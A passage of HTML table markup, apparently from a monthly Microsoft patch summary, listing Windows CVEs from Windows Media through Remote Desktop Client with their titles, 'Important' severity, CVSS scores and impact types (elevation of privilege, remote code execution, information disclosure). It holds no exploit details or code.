  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
